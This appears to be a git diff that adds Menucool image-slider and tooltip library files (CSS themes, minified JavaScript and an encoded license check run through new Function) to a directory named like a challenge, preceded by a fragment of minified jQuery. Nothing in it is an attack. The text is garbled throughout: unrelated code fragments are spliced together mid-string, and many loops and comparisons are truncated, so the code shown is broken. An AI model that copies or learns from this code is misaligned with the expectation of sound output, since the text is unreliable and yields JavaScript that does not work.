n,r,i,o=[],a=0,s=e.length;for(;s>a;a++)r=e[a],r.style&&(o[a]=x._data(r,"olddisplay"),n=r.style.display,t?(o[a]||"none"!==n||(r.style.display=""),""===r.style.display&&nn(r)&&(o[a]=x._data(r,"olddisplay",ln(r.nodeName)))):o[a]||(i=nn(r),(n&&"none"!==n||!i)&&x._data(r,"olddisplay",i?n:x.css(r,"display"))));for(a=0;s>a;a++)r=e[a],r.style&&(t&&"none"!==r.style.display&&""!==r.style.display||(r.style.display=t?o[a]||"":"none"));return e}x.fn.extend({css:function(e,n){return x.access(this,function(e,n,r){var i,o,a={},s=0;if(x.isArray(n)){for(o=Rt(e),i=n.length;i>s;s++)a[n[s]]=x.css(e,n[s],!1,o);return a}return r!==t?x.style(e,n,r):x.css(e,n)},e,n,arguments.length>1)},show:function(){return rn(this,!0)},hide:function(){return rn(this)},toggle:function(e){return"boolean"==typeof e?e?this.show():this.hide():this.each(function(){nn(this)?x(this).show():x(this).hide()})}}),x.extend({cssHooks:{opacity:{get:function(e,t){if(t){var n=Wt(e,"opacity");return""===n?"1":n}}}},cssNumber:{columnCount:!0,fillOpacity:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":x.support.cssFloat?"cssFloat":"styleFloat"},style:function(e,n,r,i){if(e&&3!==e.nodeType&&8!==e.nodeType&&e.style){var o,a,s,l=x.camelCase(n),u=e.style;if(n=x.cssProps[l]||(x.cssProps[l]=tn(u,l)),s=x.cssHooks[n]||x.cssHooks[l],r===t)return s&&"get"in s&&(o=s.get(e,!1,i))!==t?o:u[n];if(a=typeof r,"string"===a&&(o=Jt.exec(r))&&(r=(o[1]+1)*o[2]+parseFloat(x.css(e,n)),a="number"),!(null==r||"number"===a&&isNaN(r)||("number"!==a||x.cssNumber[l]||(r+="px"),x.support.clearCloneStyle||""!==r||0!==n.indexOf("background")||(u[n]="inherit"),s&&"set"in s&&(r=s.set(e,r,i))===t)))try{u[n]=r}catch(c){}}},css:function(e,n,r,i){var o,a,s,l=x.camelCase(n);return n=x.cssProps[l]||(x.cssProps[l]=tn(e.style,l)),s=x.cssHooks[n]||x.cssHooks[l],s&&"get"in s&&(a=s.get(e,!0,r)),a===t&&(a=Wt(e,n,i)),"normal"===a&&n in Kt&&(a=Kt[n]),""===r||r?(o=parseFloat(a),r===!0||x.isNumeric(o)?o||0:a):a}}),e.getComputedStyle?(Rt=function(t){return e.getComputedStyle(t,null)},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),l=s?s.getPropertyValue(n)||s[n]:t,u=e.style;return s&&(""!==l||x.contains(e.ownerDocument,e)||(l=x.style(e,n)),Yt.test(l)&&Ut.test(n)&&(i=u.width,o=u.minWidth,a=u.maxWidth,u.minWidth=u.maxWidth=u.width=l,l=s.width,u.width=i,u.minWidth=o,u.maxWidth=a)),l}):a.documentElement.currentStyle&&(Rt=function(e){return e.currentStyle},Wt=function(e,n,r){var i,o,a,s=r||Rt(e),l=s?s[n]:t,u=e.style;return null==l&&u&&u[n]&&(l=u[n]),Yt.test(l)&&!zt.test(n)&&(i=u.left,o=e.runtimeStyle,a=o&&o.left,a&&(o.left=e.currentStyle.left),u.left="fontSize"===n?"1em":l,l=u.pixelLeft+"px",u.left=i,a&&(o.left=a)),""===l?"auto":l});function on(e,t,n){var r=Vt.exec(t);return r?Math.max(0,r[1]-(n||0))+(r[2]||"px"):t}function an(e,t,n,r,i){var o=n===(r?"border":"content")?4:"width"===t?1:0,a=0;for(;4>o;o+=2)"margin"===n&&(a+=x.css(e,n+Zt[o],!0,i)),r?("content"===n&&(a-=x.css(e,"padding"+Zt[o],!0,i)),"margin"!==n&&(a-=x.css(e,"border"+Zt[o]+"Width",!0,i))):(a+=x.css(e,"padding"+Zt[o],!0,i),"padding"!==n&&(a+=x.css(e,"border"+Zt[o]+"Width",!0,i)));return a}function sn(e,t,n){var r=!0,i="width"===t?e.offsetWidth:e.offsetHeight,o=Rt(e),a=x.support.boxSizing&&"border-box"===x.css(e,"boxSizing",!1,o);if(0>=i||null==i){if(i=Wt(e,t,o),(0>i||null==i)&&(i=e.style[t]),Yt.test(i))return i;r=a&&(x.support.boxSizingReliable||i===e.style[t]),i=parseFloat(i)||0}return i+an(e,t,n||(a?"border":"content"),r,o)+"px"}function ln(e){var t=a,n=Gt[e];return n||(n=un(e,t),"none"!==n&&n||(Pt=(Pt||x("';var a=document.createElement("div");a.innerHTML=b;var i=a.childNodes[0];d.a(i);f.appendChild(a);return 1}return{play:function(b,d,c,a){return e(b,d,c,a)}}};McVideo.plugin(VimeoPlayer);var YoutubePlayer=function(b,a){if(b.nodeName!="A"||b.getAttribute("href").toLowerCase().indexOf("youtube.com")==-1)return null;var c=function(){var e=document.createElement("script");e.src="http://www.youtube.com/player_api";var c=document.getElementsByTagName("script")[0];c.parentNode.insertBefore(e,c);var h,i,d=0,b=function(a){if(typeof YT!=="undefined"&&typeof YT.Player!=="undefined")h=new YT.Player(a,{events:{onReady:g,onStateChange:f}});else if(d<30){setTimeout(function(){b(a)},50);d++}};function f(b){if(b.data==0){var d=document.getElementById("mcVideo"+a.Id),c=d.parentNode.parentNode.getAttribute("data-autonext");if(c=="replay")b.target.d();else c!="false"&&a.To(1,1);mcVc(a.Id,1)}if(b.data==1)mcVc(a.Id,0);else b.data==2&&mcVc(a.Id,2)}function g(){}return{a:function(a){b(a)}}},d=new c;function e(e,j,i,c){var f="&loop=0&start=0&wmode=opaque&autohide=1&showinfo=0&iv_load_policy=3&modestbranding=1&showsearch=0",b=e.getAttribute("href"),h=b.toLowerCase().indexOf("v="),g='',a=document.createElement("div");a.innerHTML=g;var k=a.childNodes[0];e.appendChild(a);d.a("mcVideo"+c);return 1}return{play:function(b,d,c,a){return e(b,d,c,a)}}};McVideo.plugin(YoutubePlayer);var McVAHelper={b:function(c){var a=c.parentNode.getElementsByTagName("div"),b=a.length;while(b--)if(a[b].className=="sliderInner"){a[b].innerHTML="";break}},c:function(){var c=50,b=navigator.userAgent,a;if((a=b.indexOf("MSIE "))!=-1)c=parseInt(b.substring(a+5,b.indexOf(".",a)));return c<9},a:function(a,c,b){if(a.addEventListener)a.addEventListener(c,b,false);else a.attachEvent&&a.attachEvent("on"+c,b)},d:function(c,h,g,a,e){if(a.style.display=="none"){if(this.c())return 0;var b=a.getElementsByTagName("source"),d=b.length,f=1;while(d--)if(!b[d].getAttribute("src")){f=0;b[d].setAttribute("src",b[d].getAttribute("data-src"))}a.style.display="block";if(e=="image")a.style.background=c.parentNode.style.background;else c.parentNode.style.background=e;if(!(a.getAttribute("width")&&a.offsetWidthb, #slider a>b { + position:absolute; border:none; display:none; +} + +#slider div.sliderInner { + overflow:hidden; + -webkit-transform: rotate(0.000001deg);/* fixed the Chrome not crop border-radius bug*/ + position:absolute; top:0; left:0; +} + +#slider>a, #slider video, #slider audio {display:none;} +#slider div {-webkit-transform: translate3d(0,0,0);transform: translate3d(0,0,0);} \ No newline at end of file diff --git a/challenges/newchallenge4/inside/Slider/jsImgSlider/themes/7/js-image-slider.js b/challenges/newchallenge4/inside/Slider/jsImgSlider/themes/7/js-image-slider.js new file mode 100755 index 00000000..702072b7 --- /dev/null +++ b/challenges/newchallenge4/inside/Slider/jsImgSlider/themes/7/js-image-slider.js @@ -0,0 +1,23 @@ +var sliderOptions= +{ + sliderId: "slider", + startSlide: 0, + effect: "13", + effectRandom: false, + pauseTime: 1800, + transitionTime: 1100, + slices: 12, + boxes: 8, + hoverPause: 1, + autoAdvance: true, + captionOpacity: 0.3, + captionEffect: "fade", + thumbnailsWrapperId: "thumbs", + m: false, + license: "mylicense" +}; + +var imageSlider=new mcImgSlider(sliderOptions); + +/* Menucool Javascript Image Slider v2014.9.16. Copyright www.menucool.com */ +function mcImgSlider(k){for(var T=function(a){return document.getElementById(a)},d="length",ab="getElementsByTagName",C=function(e){var a=e.childNodes,c=[];if(a)for(var b=0,f=a[d];bd?1:-1,f=Math.ceil(60*c.c/1e3),a,e=1;e<=f;e++){a=d+c.b(e/f,c.d)*j;if(h!=i)a=Math.round(a);b.push(a)}b.e=0;return b},n:function(){this.b==null&&this.p()},p:function(){this.q();var a=this;this.b=U?U(function(){a.p()}):window.setInterval(function(){a.q()},15)},q:function(){var a=this.d[d];if(a){for(var c=0;c=a.a[d])a.a.p=0}if(b<1||b>17)b=15;return b}},zb=["$1$2$3","$1$2$3","$1$24","$1$23","$1$22"],tb=function(){if(b.b!=2){b.b=1;L(s);s=null}},pb=function(){if(b.b!=2){b.b=0;if(s==null&&!b.c&&a.i)s=D(function(){m.y(m.n(b.a+1),0,1)},a.b/2)}},Ab=function(){var a=0,b=0,c;while(a-1&&typeof McVideo!=r;if(c){b=1;break}++a}return b},u=[],rb=function(b){var a=u[d];if(a)while(a--)u[a][g]=a!=b&&u[a].on==0?"thumb":"thumb thumb-on"},Cb=function(a){return a[q][h]("data-autovideo")=="true"||a[h]("data-autovideo")=="true"},Eb=function(){var f;if(a.l)f=T(a.l);if(f)for(var h=lb(f,"*"),e=0;e1){D(function(){p.e(1)},0);s=D(function(){p.y(p.n(1),0,1)},a.b+a.c)}if(a.h!=0&&!ib){f.onmouseover=tb;f.onmouseout=pb}},b:function(a){if(typeof McVideo!=r){a.onclick=function(){return this.aP?false:m.d(this)};McVideo.register(a,this)}},A:function(a){if(typeof a.aP===r){var b=a[h]("data-autovideo");if(b=="true")a.aP=true;else if(b=="1")a.aP=1;else a.aP=0}},d:function(c){L(s);s=null;var a=McVideo.play(c,v,B,this.Id);if(a||ib)b.b=2;return false},f:function(){S=A("navBulletsWrapper");for(var i=[],a=0;a"+(a+1)+"");S[Q]=i.join("");for(var e=C(S),a=0;a1)if(!a.k)n[c][G]=p[c][G]="hidden";else{e=0;var b={c:a.c*.3,b:a.k==1?E.a.f:E.a.h,d:a.k==1?0:2},f=b;f.a=function(){n[c][G]=p[c][G]="hidden";m.m()};if(typeof t[x]!==r){l.r(p,"width",t[j],K[j],b);l.r(n,"width",J[j],H[j],b);l.r(p,"marginLeft",t[x],K[x],b);l.r(n,"marginLeft",J[x],H[x],b)}if(typeof t[i]!==r){l.r(p,i,t[i],K[i],b);l.r(n,i,J[i],H[i],f)}}e&&D(function(){m.m()},a.c*.3)},m:function(){W[Q]=O[Q]=V;if(V){n[c][G]=p[c][G]="visible";if(a.k){var d=a.c*a.k;if(d>1e3)d=1e3;var b={c:d,b:a.k==1?E.a.g:E.a.j,d:a.k==1?0:2};if(typeof t[x]!==r){l.r(p,"width",K[j],t[j],b);l.r(n,"width",H[j],J[j],b);l.r(p,"marginLeft",K[x],t[x],b);l.r(n,"marginLeft",H[x],J[x],b)}if(typeof t[i]!==r){l.r(p,i,K[i],t[i],b);l.r(n,i,H[i],J[i],b)}}else{M(p,1);M(n,a.j)}}},a:function(a){return a.replace(/(?:.*\.)?(\w)([\w\-])?[^.]*(\w)\.[^.]*$/,"$1$3$2")},o:function(){b.c=0;L(s);s=null;f[c][P]='url("'+b.e[h]("src")+'") no-repeat';var j=this,d=b.e[q];if(typeof d.aP===r)d=0;var i;if(d&&(i=d.aP||eb&&/video$/.test(d[g]))){this.d(d);if(i===1)d.aP=0}else if(!b.b&&a.i){var e=this.n(b.a+1);this.e(e);s=D(function(){j.y(e,0,1)},a.b)}a.Oa.call(this,b.a,b.e)},e:function(j){var a=e[j],k=0;if(a[o]=="A"&&a[g][F]("lazyImage")==-1||a[o]=="DIV"&&a[g]=="video"){a=C(a)[0];k=1}if(a[o]!="IMG"){if(a[o]=="A")var d=a[h]("href"),f=a[h]("title")||"",i=1;else if(a[o]=="VIDEO"||a[o]=="AUDIO"){var l=1;d=a[h]("data-image");if(d)f=a[h]("data-alt")||"";a[h]("data-autovideo")&&a[q][N]("data-autovideo",a[h]("data-autovideo"));this.A(a[q]);i=0}else{d=a[h]("data-src");if(d)f=a[h]("data-alt")||"";i=!k}if(f!=null){var b=document.createElement("img");b[N]("data-loaded","f");b[N]("alt",f);b.onload=Db;b.onerror=Fb;b[N]("src",d);b[c][y]="none";if(l){a[q].insertBefore(b,a);this.b(a[q],this);if(bb){a[q][c][P]="none";a[q][c].cursor="default"}}else a[q].replaceChild(b,a);if(i)e[j]=b}}},p:function(i){if(e[b.a][o]=="IMG")b.e=e[b.a];else b.e=lb(e[b.a],"img")[0];var j=b.e[h]("data-loaded");if(j=="f"){R[c][y]="block";D(function(){m.p(i)},200);return}b.c=1;this.g();L(hb);V=this.k();if(!I){I=A("sliderInner");f[w](I);if(sb()>=300)f[c].borderRadius=I[c].borderRadius="0px"}I[Q]="";var d=i?i:a.n();a.Ob.apply(this,[b.a,b.e,V,d]);rb(b.a);var g=d<14?this.w(d):this.x();if(d<9||d==15){if(d%2)g=g.reverse()}else if(d<14)g=g[0];if(d<9)this.q(g,d);else if(d<13)this.r(g,d);else if(d==13)this.s(g);else if(d<16)this.t(g,d);else this.u(g,d)},q:function(b,e){for(var f=0,g=e<7?{height:0,opacity:-.4}:{width:0,opacity:0},k={height:B,opacity:1},a=0,h=b[d];a10)d[c][b==11?"bottom":"top"]="0";if(b<11)var e=0,f=v;else{e=0;f=B}var g={b:E.a.j,c:a.c*1.6,a:function(){m.o()}};l.r(d,b<11?"width":"height",e,f,g)},s:function(b){b[c][Y]="0";b[c][j]=v+"px";b[c][z]=B+"px";var d={c:a.c*1.6,a:function(){m.o()}};l.r(b,i,0,1,d)},t:function(b){var s=a.g*a.m,p=0,n=0,i=0,g=0,f=[];f[0]=[];for(var e=0,o=b[d];e=0&&h8?v:Math.round(v/a.f),m=g>8?1:a.f,f=0;fb.a?"10":"9";this.p(f)},n:function(a){if(a>=b.d)a=0;else if(a<0)a=b.d-1;return a},To:function(d,c){if(c&&!a.i)return;this.y(this.n(b.a+d))}};var gb=function(){var a=T(k.sliderId);if(a&&C(a)[d]&&a.offsetHeight)m=new ub(a);else D(gb,500)};fb();var Hb=function(c){var a=false;function b(){if(a)return;a=true;setTimeout(c,4)}document.addEventListener&&document.addEventListener("DOMContentLoaded",b,false);Ib(window,"load",b)};Hb(gb);var Kb=function(){if(f){ob();var a=C(f),e=a[d];while(e--)if(a[e][o]=="DIV"){var h=a[e][q][jb](a[e]);h=null}var c=T("mcVideo"+this.Id);if(c){c.src="";var g=c[q][q][jb](c[q]);g=null}b={a:0,e:"",d:0,c:0,b:0};u=[];I=null}fb();gb()},vb=0,nb=function(e,c){if(++vb<20)if(!m||typeof tooltip==r)D(function(){nb(e,c)},300);else for(var b=C(S),a=0;ab, #slider a>b { + position:absolute; border:none; display:none; +} + +#slider div.sliderInner { + overflow:hidden; + -webkit-transform: rotate(0.000001deg);/* fixed the Chrome not crop border-radius bug*/ + position:absolute; top:0; left:0; +} + +#slider>a, #slider video, #slider audio {display:none;} +#slider div {-webkit-transform: translate3d(0,0,0);transform: translate3d(0,0,0);} \ No newline at end of file diff --git a/challenges/newchallenge4/inside/Slider/jsImgSlider/themes/8/js-image-slider.js b/challenges/newchallenge4/inside/Slider/jsImgSlider/themes/8/js-image-slider.js new file mode 100755 index 00000000..413ab152 --- /dev/null +++ b/challenges/newchallenge4/inside/Slider/jsImgSlider/themes/8/js-image-slider.js @@ -0,0 +1,23 @@ +var sliderOptions= +{ + sliderId: "slider", + startSlide: 0, + effect: "13", + effectRandom: false, + pauseTime: 1800, + transitionTime: 1500, + slices: 12, + boxes: 8, + hoverPause: 1, + autoAdvance: true, + captionOpacity: 0.3, + captionEffect: "slide", + thumbnailsWrapperId: "thumbs", + m: false, + license: "mylicense" +}; + +var imageSlider=new mcImgSlider(sliderOptions); + +/* Menucool Javascript Image Slider v2014.9.16. Copyright www.menucool.com */ +function mcImgSlider(k){for(var T=function(a){return document.getElementById(a)},d="length",ab="getElementsByTagName",C=function(e){var a=e.childNodes,c=[];if(a)for(var b=0,f=a[d];bd?1:-1,f=Math.ceil(60*c.c/1e3),a,e=1;e<=f;e++){a=d+c.b(e/f,c.d)*j;if(h!=i)a=Math.round(a);b.push(a)}b.e=0;return b},n:function(){this.b==null&&this.p()},p:function(){this.q();var a=this;this.b=U?U(function(){a.p()}):window.setInterval(function(){a.q()},15)},q:function(){var a=this.d[d];if(a){for(var c=0;c=a.a[d])a.a.p=0}if(b<1||b>17)b=15;return b}},zb=["$1$2$3","$1$2$3","$1$24","$1$23","$1$22"],tb=function(){if(b.b!=2){b.b=1;L(s);s=null}},pb=function(){if(b.b!=2){b.b=0;if(s==null&&!b.c&&a.i)s=D(function(){m.y(m.n(b.a+1),0,1)},a.b/2)}},Ab=function(){var a=0,b=0,c;while(a-1&&typeof McVideo!=r;if(c){b=1;break}++a}return b},u=[],rb=function(b){var a=u[d];if(a)while(a--)u[a][g]=a!=b&&u[a].on==0?"thumb":"thumb thumb-on"},Cb=function(a){return a[q][h]("data-autovideo")=="true"||a[h]("data-autovideo")=="true"},Eb=function(){var f;if(a.l)f=T(a.l);if(f)for(var h=lb(f,"*"),e=0;e1){D(function(){p.e(1)},0);s=D(function(){p.y(p.n(1),0,1)},a.b+a.c)}if(a.h!=0&&!ib){f.onmouseover=tb;f.onmouseout=pb}},b:function(a){if(typeof McVideo!=r){a.onclick=function(){return this.aP?false:m.d(this)};McVideo.register(a,this)}},A:function(a){if(typeof a.aP===r){var b=a[h]("data-autovideo");if(b=="true")a.aP=true;else if(b=="1")a.aP=1;else a.aP=0}},d:function(c){L(s);s=null;var a=McVideo.play(c,v,B,this.Id);if(a||ib)b.b=2;return false},f:function(){S=A("navBulletsWrapper");for(var i=[],a=0;a"+(a+1)+"");S[Q]=i.join("");for(var e=C(S),a=0;a1)if(!a.k)n[c][G]=p[c][G]="hidden";else{e=0;var b={c:a.c*.3,b:a.k==1?E.a.f:E.a.h,d:a.k==1?0:2},f=b;f.a=function(){n[c][G]=p[c][G]="hidden";m.m()};if(typeof t[x]!==r){l.r(p,"width",t[j],K[j],b);l.r(n,"width",J[j],H[j],b);l.r(p,"marginLeft",t[x],K[x],b);l.r(n,"marginLeft",J[x],H[x],b)}if(typeof t[i]!==r){l.r(p,i,t[i],K[i],b);l.r(n,i,J[i],H[i],f)}}e&&D(function(){m.m()},a.c*.3)},m:function(){W[Q]=O[Q]=V;if(V){n[c][G]=p[c][G]="visible";if(a.k){var d=a.c*a.k;if(d>1e3)d=1e3;var b={c:d,b:a.k==1?E.a.g:E.a.j,d:a.k==1?0:2};if(typeof t[x]!==r){l.r(p,"width",K[j],t[j],b);l.r(n,"width",H[j],J[j],b);l.r(p,"marginLeft",K[x],t[x],b);l.r(n,"marginLeft",H[x],J[x],b)}if(typeof t[i]!==r){l.r(p,i,K[i],t[i],b);l.r(n,i,H[i],J[i],b)}}else{M(p,1);M(n,a.j)}}},a:function(a){return a.replace(/(?:.*\.)?(\w)([\w\-])?[^.]*(\w)\.[^.]*$/,"$1$3$2")},o:function(){b.c=0;L(s);s=null;f[c][P]='url("'+b.e[h]("src")+'") no-repeat';var j=this,d=b.e[q];if(typeof d.aP===r)d=0;var i;if(d&&(i=d.aP||eb&&/video$/.test(d[g]))){this.d(d);if(i===1)d.aP=0}else if(!b.b&&a.i){var e=this.n(b.a+1);this.e(e);s=D(function(){j.y(e,0,1)},a.b)}a.Oa.call(this,b.a,b.e)},e:function(j){var a=e[j],k=0;if(a[o]=="A"&&a[g][F]("lazyImage")==-1||a[o]=="DIV"&&a[g]=="video"){a=C(a)[0];k=1}if(a[o]!="IMG"){if(a[o]=="A")var d=a[h]("href"),f=a[h]("title")||"",i=1;else if(a[o]=="VIDEO"||a[o]=="AUDIO"){var l=1;d=a[h]("data-image");if(d)f=a[h]("data-alt")||"";a[h]("data-autovideo")&&a[q][N]("data-autovideo",a[h]("data-autovideo"));this.A(a[q]);i=0}else{d=a[h]("data-src");if(d)f=a[h]("data-alt")||"";i=!k}if(f!=null){var b=document.createElement("img");b[N]("data-loaded","f");b[N]("alt",f);b.onload=Db;b.onerror=Fb;b[N]("src",d);b[c][y]="none";if(l){a[q].insertBefore(b,a);this.b(a[q],this);if(bb){a[q][c][P]="none";a[q][c].cursor="default"}}else a[q].replaceChild(b,a);if(i)e[j]=b}}},p:function(i){if(e[b.a][o]=="IMG")b.e=e[b.a];else b.e=lb(e[b.a],"img")[0];var j=b.e[h]("data-loaded");if(j=="f"){R[c][y]="block";D(function(){m.p(i)},200);return}b.c=1;this.g();L(hb);V=this.k();if(!I){I=A("sliderInner");f[w](I);if(sb()>=300)f[c].borderRadius=I[c].borderRadius="0px"}I[Q]="";var d=i?i:a.n();a.Ob.apply(this,[b.a,b.e,V,d]);rb(b.a);var g=d<14?this.w(d):this.x();if(d<9||d==15){if(d%2)g=g.reverse()}else if(d<14)g=g[0];if(d<9)this.q(g,d);else if(d<13)this.r(g,d);else if(d==13)this.s(g);else if(d<16)this.t(g,d);else this.u(g,d)},q:function(b,e){for(var f=0,g=e<7?{height:0,opacity:-.4}:{width:0,opacity:0},k={height:B,opacity:1},a=0,h=b[d];a10)d[c][b==11?"bottom":"top"]="0";if(b<11)var e=0,f=v;else{e=0;f=B}var g={b:E.a.j,c:a.c*1.6,a:function(){m.o()}};l.r(d,b<11?"width":"height",e,f,g)},s:function(b){b[c][Y]="0";b[c][j]=v+"px";b[c][z]=B+"px";var d={c:a.c*1.6,a:function(){m.o()}};l.r(b,i,0,1,d)},t:function(b){var s=a.g*a.m,p=0,n=0,i=0,g=0,f=[];f[0]=[];for(var e=0,o=b[d];e=0&&h8?v:Math.round(v/a.f),m=g>8?1:a.f,f=0;fb.a?"10":"9";this.p(f)},n:function(a){if(a>=b.d)a=0;else if(a<0)a=b.d-1;return a},To:function(d,c){if(c&&!a.i)return;this.y(this.n(b.a+d))}};var gb=function(){var a=T(k.sliderId);if(a&&C(a)[d]&&a.offsetHeight)m=new ub(a);else D(gb,500)};fb();var Hb=function(c){var a=false;function b(){if(a)return;a=true;setTimeout(c,4)}document.addEventListener&&document.addEventListener("DOMContentLoaded",b,false);Ib(window,"load",b)};Hb(gb);var Kb=function(){if(f){ob();var a=C(f),e=a[d];while(e--)if(a[e][o]=="DIV"){var h=a[e][q][jb](a[e]);h=null}var c=T("mcVideo"+this.Id);if(c){c.src="";var g=c[q][q][jb](c[q]);g=null}b={a:0,e:"",d:0,c:0,b:0};u=[];I=null}fb();gb()},vb=0,nb=function(e,c){if(++vb<20)if(!m||typeof tooltip==r)D(function(){nb(e,c)},300);else for(var b=C(S),a=0;a7?a:3));return c.join("")},Pb=function(a){return a.replace(/(?:.*\.)?(\w)([\w\-])?[^.]*(\w)\.[^.]*$/,"$1$3$2")},Tb=function(e,c){var d=function(a){for(var c=a.substr(0,a[i]-1),e=a.substr(a[i]-1,1),d="",b=0;b=a,l=d>=c,m=j?b-aMath.abs(k))i=j?g:-h;else k=l?e:-f;return[i,k]},ac=function(m,h,l){ab(c,1);var a=o(M,"div");a[b][H]=m+"px";e=o(M,"div");e.className="mcTooltipInner";if(l==1){e[P]=h;var f=1}else{var d=o(V,h);if(d[D].w)e=d[D];else{e.w=d[D];e[A](d);f=1}}if(wb){var j=e[nb]("select"),k=j[i];while(k--)j[k][db]=O}a[A](e);c[A](a);if(e[r]<20){var g=c.className;c.className=""}e[b][H]=e[r]+(f?1:0)+"px";e[b][S]=e[u]+(f?1:0)+"px";e[b][y]=e[b][s]="auto";e=c.insertBefore(e,c[N]);e[b][Q]="absolute";a=c.removeChild(a);a=null;delete a;if(g)c.className=g;return e},Sb=function(a){if(a.w){a.w[A](a);fb(a,1)}else{a=a[D].removeChild(a);a=null;delete a}},ab=function(b,c){for(var a=c;a]*>/i);if(r[i]>1)j=k=r[1]}}if(f)j=a.success(k,e);g.f(d,j,1)}}else if(h)g.f(d,h(e),1);else g.f(d,"Failed to get data.",1);n=null}};if(b.indexOf("#")!=-1&&Ib()<19)b=b.replace("#","?#");n.open("GET",b,true);n.send(null)},b:function(){var a;try{if(window.XMLHttpRequest)a=new XMLHttpRequest;else a=new ActiveXObject("Microsoft.XMLHTTP")}catch(b){throw new Error("AJAX not supported.");}return a}},Mb=function(){d=o(M,"div");d.id="mcTooltipWrapper";d[P]='
 
';x=z.body;k=x;k[A](d);a.a=L.license||"4321";c=d[N];d.b=d.c=d.v=0;Tb(d,a.a);Y=d.lastChild;f=c[tb];j(d,1);this.m(L,1);j(d,0);var e=this.k();U=function(a){q();e.i();O(a)};Y[jb]=U;this.l();I[jb]=function(a){if(l[kb]!==1)U(a);else O(a)};c[db]=function(){R!=1&&eb();!l[E]&&e.a(l[W])};c[jb]=O;if(bb)c[jb]=function(a){l[E]!==1&&U(a)};rb(z,"click",function(a){if(l&&l[E]!==1)F=B(function(){U(a)},0,l[W]+100)});fb(d,0);d[b].visibility="visible"},Db=function(a){if(a[D]){var b=a[D].nodeName.toLowerCase();return b!="form"&&b!="body"?Db(a[D]):a[D]}else return x},p=function(c,b){var a=c.getBoundingClientRect();return b?a[s]:a[y]},J=function(b){return b?z[vb][pb]:z[vb][qb]},Xb=function(){var a=z[vb];return[window.pageXOffset||a.scrollLeft,window.pageYOffset||a.scrollTop]},Ub=function(h,g,c,d){var f=J(0),e=J(1),a=0,b=0;if(k!=x){a=p(k,0)-k[v];b=p(k,1)-k[w]}if(c+a+h>f)c=f-h-a;if(c+a<0)c=-a;if(d+b+g>e)d=e-g-b;if(d+b<0)d=-b;return{l:c,t:d}};Mb.prototype={j:function(){var d=f[N],c=f.lastChild;d[b].margin=c[b].margin=f[b].margin=d[b][t]=c[b][t]="0";var h=a.f,l=h*2+"px",m=a.b+h+"px",g=a.b+"px",i="",k="",e="";d[b][sb]=a.d;c[b][sb]=a.c;if(/rgba\(/.test(a.c)){d[b][sb]=a.c;j(c,0)}else j(c,1);switch(a.e){case 0:case 2:i="Left";k="Right";f[b][H]=l;f[b][S]=m;c[b][hb]=c[b].marginRight="auto";break;case 3:default:i="Top";k="Bottom";f[b][H]=m;f[b][S]=l}switch(a.e){case 0:e="Top";f[b][C]="-"+g;d[b][C]=g;c[b][C]="-"+m;break;case 2:e="Bottom";f[b][C]=g;d[b][C]="-"+g;c[b][C]=-(h-a.b)+"px";break;case 3:e="Left";f[b][hb]="-"+g;d[b][hb]=g;c[b][C]="-"+l;break;default:e="Right";f[b].marginRight="-"+g;c[b][C]="-"+l;c[b][hb]=g}d[b][t+i]=d[b][t+k]=c[b][t+i]=c[b][t+k]="dashed "+h+"px transparent";d[b][t+e+"Style"]=c[b][t+e+"Style"]="solid";d[b][t+e+"Width"]=c[b][t+e+"Width"]=h+"px"},d:function(a,c,b){eb();q();F=B(function(){(T!=1||a!=d.v)&&g.f(a,c,b)},a)},e:function(a,c,b){eb();q();F=B(function(){g.g(a,c,b)},a)},f:function(i,B,A){j(d,1);T=1;q();ib.a=[];j(I,i[kb]);j(Y,i[E]);bb&&j(Y,1);var g=this.n(i,B,A);if(d.v){h(d,y,d[v],g.l);h(d,s,d[w],g.t);h(c,H,c.b,c.tw);h(c,S,c.c,c.th);h(f,y,f[v],g.x);h(f,s,f[w],g.y)}else if(a.e==4){var C=p(i,0),D=p(i,1);h(d,y,C,g.l);h(d,s,D,g.t);h(c,H,i[r],c.tw);h(c,S,i[u],c.th)}else{if(a.e>4)h(d,s,g.t+6,g.t);else d[b][s]=g.t+"px";d[b][y]=g.l+"px";c[b][H]=c.tw+"px";c[b][S]=c.th+"px";f[b][y]=g.x+"px";f[b][s]=g.y+"px"}if(i.effect=="slide"){var k,l;if(!d.v&&a.e<4){switch(a.e){case 0:k=0;l=1;break;case 1:k=-1;l=0;break;case 2:k=0;l=-1;break;case 3:k=1;l=0}var n=[k*e[r],l*e[u]]}else{if(!d.v&&a.e>3){k=i[v];l=i[w]}else{k=d[v];l=d[w];if(a.e>3){k+=d.v[v]-i[v];l+=d.v[w]-i[w]}}var x=a.l+a.b+a.b,z=a.m+a.b+a.b;n=Qb(k,l,g.l,g.t,c.b+x,c.c+z,c.tw+x,c.th+z)}var o=a.l/2,t=a.m/2;h(e,y,n[0]+o,o);h(e,s,n[1]+t,t);var m=e[tb];if(m){h(m,y,o,-n[0]+o,{b:function(){ab(c,1)}});h(m,s,t,-n[1]+t)}fb(e,1)}else{h(e,G,e.op-.1,1,{b:function(){ab(c,1)}});var m=e[tb];m&&h(m,G,m.op,0)}h(d,G,d.op,1);d.v=i},g:function(a,c,b){n=null;q();F=B(function(){g.f(a,'
 
',1)},a);R=1;Yb.a(a,c,b)},a:function(a){q();F=B(function(){g.i()},0,a)},i:function(){T=-1;eb();ib.a=[];h(d,G,d.op,0,{b:Vb})},l:function(){if(o(V,"mcOverlay")==null){I=o(M,"div");I.id="mcOverlay";x[A](I);I[b][Q]="fixed"}},m:function(g,h){var i=0;if(h||a.e!=g[Q]||a.f!=g[gb]){a.e=g[Q];a.f=g[gb];d[b].padding=a.f+"px";i=1}if(h||c.className!=g.cssClass){c.className=g.cssClass?g.cssClass.trim():"";var k=bc(c),l=parseInt(k.borderLeftWidth),n=k.backgroundColor,m=k.borderLeftColor;if(h||a.b!=l||a.c!=n||a.d!=m){a.b=l;a.c=n;a.d=m;i=1}a.l=h?c[qb]-c[N][r]:e[v]*2;a.m=h?c[pb]-c[N][u]:e[w]*2}if(i)if(a.e<4)this.j();else j(f,0)},k:function(){return(new Function("a","b","c","d","e","f","g","h","i",function(e){var b=[];c.onmouseover=function(a){if(!l[E]){q();if(T==-1){ib.a=[];h(d,G,d.op,1)}}O(a)};for(var a=0,f=e[i];a:\u0081-?\u008106444-?\u0081\u0081vixyvr$xlmw?"))).apply(this,[a,N,lb,ec,Pb,cc,o,fc,mb])},n:function(g,z,s){var n=x;if(s==2){var 